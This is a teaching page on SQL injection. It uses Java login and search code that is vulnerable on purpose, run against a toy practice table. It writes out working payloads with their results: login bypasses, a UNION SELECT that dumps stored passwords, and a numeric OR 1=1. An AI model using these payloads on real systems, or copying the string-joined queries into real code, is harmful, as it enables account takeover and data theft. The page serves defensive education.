SQL injection demonstrated on a login query
30 min · Intermediate
Need help? Ask a tutor on WhatsApp (opens in a new tab)A login form is only a text box, yet one odd line typed into it can log a stranger in as the admin. See how that happens, so you never write the query that allows it.
Building SQL by joining strings
SQL injection is an attack where typed text becomes part of the SQL command instead of staying a plain value. It works when a program joins user input straight into its query text.
A login query built with + glues the typed text into the SQL. Create the practice table below first, then run Example 1.
-- Practice table for this lesson only (run as root in your own shoplite database)DROP TABLE IF EXISTS app_user;CREATE TABLE app_user ( user_id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, username VARCHAR(30) NOT NULL UNIQUE, password VARCHAR(60) NOT NULL, role VARCHAR(10) NOT NULL);INSERT INTO app_user (username, password, role) VALUES ('asha', 'asha@123', 'USER'), ('ravi', 'ravi#456', 'USER'), ('admin', 'Str0ngPass', 'ADMIN');Example 1 · The SQL that string-joining builds
public class BuiltSqlDemo { // The same unsafe pattern many first programs use: glue the input into the text. static String buildLoginSql(String username, String password) { return "SELECT * FROM app_user" + " WHERE username = '" + username + "'" + " AND password = '" + password + "'"; }
public static void main(String[] args) { System.out.println("Normal input:"); System.out.println(" " + buildLoginSql("asha", "asha@123"));
System.out.println("Attacker input (password is ' OR '1'='1):"); System.out.println(" " + buildLoginSql("asha", "' OR '1'='1"));
System.out.println("Attacker input (username is admin' -- ):"); System.out.println(" " + buildLoginSql("admin' -- ", "anything")); }}Normal input: SELECT * FROM app_user WHERE username = 'asha' AND password = 'asha@123' Attacker input (password is ' OR '1'='1): SELECT * FROM app_user WHERE username = 'asha' AND password = '' OR '1'='1' Attacker input (username is admin' -- ): SELECT * FROM app_user WHERE username = 'admin' -- ' AND password = 'anything'
What this code does
- This program only builds and prints the SQL string, so it needs no database. It shows how the attacker's text becomes part of the command.
- In the second line the quote closes the password value early, so
OR '1'='1'is now a condition, not data. In the third,--comments out the rest of the line, including the password check.
The table app_user(username, password, role) has three rows and lives only in your own shoplite database; it stores plain-text passwords only because it is a toy. A login reads a username and a password and runs one query. Example 1 never touches a database: it just prints the SQL string the login would run.
Logging in without a password
Typing ' OR '1'='1 as the password, or admin' -- as the username, rewrites the query. Example 2 runs the unsafe login against the practice table with both inputs.
Example 2 · Logging in without the password
Runs in: a Maven project with the MySQL driver and a practice app_user table
import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;
public class InjectionLogin { // UNSAFE on purpose: it builds SQL by joining the input into the text. static String login(Connection con, String username, String password) throws SQLException { String sql = "SELECT user_id, role FROM app_user" + " WHERE username = '" + username + "'" + " AND password = '" + password + "'"; try (Statement st = con.createStatement(); ResultSet rs = st.executeQuery(sql)) { if (rs.next()) { return "OK user_id=" + rs.getInt("user_id") + " role=" + rs.getString("role"); } return "FAIL login rejected"; } }
public static void main(String[] args) throws SQLException { try (Connection con = DriverManager.getConnection( System.getenv("DB_URL"), System.getenv("DB_USER"), System.getenv("DB_PASSWORD"))) { System.out.println("Real login: " + login(con, "asha", "asha@123")); System.out.println("Wrong pass: " + login(con, "asha", "guess")); System.out.println("OR bypass: " + login(con, "x' OR '1'='1", "x' OR '1'='1")); System.out.println("Comment hack: " + login(con, "admin' -- ", "anything")); } }}Real login: OK user_id=1 role=USER Wrong pass: FAIL login rejected OR bypass: OK user_id=1 role=USER Comment hack: OK user_id=3 role=ADMIN
What this code does
- A real username and password log in; a wrong password is rejected. So far the login looks correct.
- The
ORinput matches every row and returns the first user. Theadmin' --input comments out the password check and logs in as the admin, user_id 3, with no real password.
'1'='1' compares two equal texts, so it is always true, and with OR the whole WHERE clause matches every row.
In SQL, -- followed by a space starts a comment: the rest of the line is ignored.
Predict the output
What does the injected query do?
Read the code and pick what it prints.
Round 1 of 2
The login joins the typed text into the SQL.
-- comment needs a space after it, so the attack text is admin' -- with a trailing space.Reading other tables with UNION
UNION SELECT adds the rows of a second query to the rows of the first. Injected into a search box, it lets an attacker read any table in the database.
A product search joined from a text box can be tricked too. Example 3 bolts a UNION SELECT onto the search and prints other people's usernames and passwords.
Example 3 · Reading another table with UNION
Runs in: a Maven project with the MySQL driver and a practice app_user table
import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;
public class InjectionUnion { // UNSAFE on purpose: a product search built by joining strings. static void search(Connection con, String term) throws SQLException { String sql = "SELECT name, sku FROM products WHERE name LIKE '%" + term + "%'"; try (Statement st = con.createStatement(); ResultSet rs = st.executeQuery(sql)) { while (rs.next()) { System.out.println(" " + rs.getString(1) + " | " + rs.getString(2)); } } }
public static void main(String[] args) throws SQLException { try (Connection con = DriverManager.getConnection( System.getenv("DB_URL"), System.getenv("DB_USER"), System.getenv("DB_PASSWORD"))) { System.out.println("Normal search for 'Redmi':"); search(con, "Redmi");
System.out.println("Injected search:"); search(con, "zzz' UNION SELECT username, password FROM app_user -- "); } }}Normal search for 'Redmi': Redmi Note 13 5G | MOB-RN13 Injected search: asha | asha@123 ravi | ravi#456 admin | Str0ngPass
What this code does
- The normal search finds one product. The injected term closes the string, adds
UNION SELECT username, password FROM app_user, and comments out the rest. - The search box now prints every username and password. The same trick can read customer emails, phone numbers or any table the attacker names.
A UNION needs both queries to return the same number of columns. The attacker matches the two columns of name, sku, and can find the right count by trial and error.
Escaping quotes by hand is not a fix
Doubling every quote (' becomes '') looks like a fix for text, but numbers have no quotes. Example 4 shows 0 OR 1=1 getting through.
Example 4 · Doubling quotes does not stop numbers
Runs in: a Maven project with the MySQL driver and a practice app_user table
import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;
public class EscapingNotAFix { // "Fix" attempt: double every quote so the input cannot close the string. static String escape(String s) { return s.replace("'", "''"); }
// Still UNSAFE: a numeric id joined in with no quotes around it. static int countForUser(Connection con, String userId) throws SQLException { String sql = "SELECT COUNT(*) FROM app_user WHERE user_id = " + userId; try (Statement st = con.createStatement(); ResultSet rs = st.executeQuery(sql)) { rs.next(); return rs.getInt(1); } }
public static void main(String[] args) throws SQLException { try (Connection con = DriverManager.getConnection( System.getenv("DB_URL"), System.getenv("DB_USER"), System.getenv("DB_PASSWORD"))) { System.out.println("Escaped text: " + escape("x' OR '1'='1")); System.out.println("Rows for id 1: " + countForUser(con, "1")); System.out.println("Rows for id '0 OR 1=1': " + countForUser(con, "0 OR 1=1")); } }}Escaped text: x'' OR ''1''=''1 Rows for id 1: 1 Rows for id '0 OR 1=1': 3
What this code does
- Doubling the quotes changes the text input, but the number query has no quotes to escape in the first place.
- The input
0 OR 1=1is glued straight into the SQL and matches all 3 rows. Hand-written escaping missed it completely, which is why escaping is not the fix.
Hand-written escaping also misses other tricks, differs between databases and is easy to forget on one query out of fifty.
Why this matters
SQL injection is one of the oldest and most damaging web attacks. Through one input box it can read every customer's details, change prices, delete tables or create an admin account. Many large data leaks began exactly this way.
Interviewers ask about it in almost every backend interview, because the fix is simple and expected: never build SQL by joining user input. If you can explain the attack and show the safe version, you have answered the question well.
Next step
Check your understanding
10 quick questions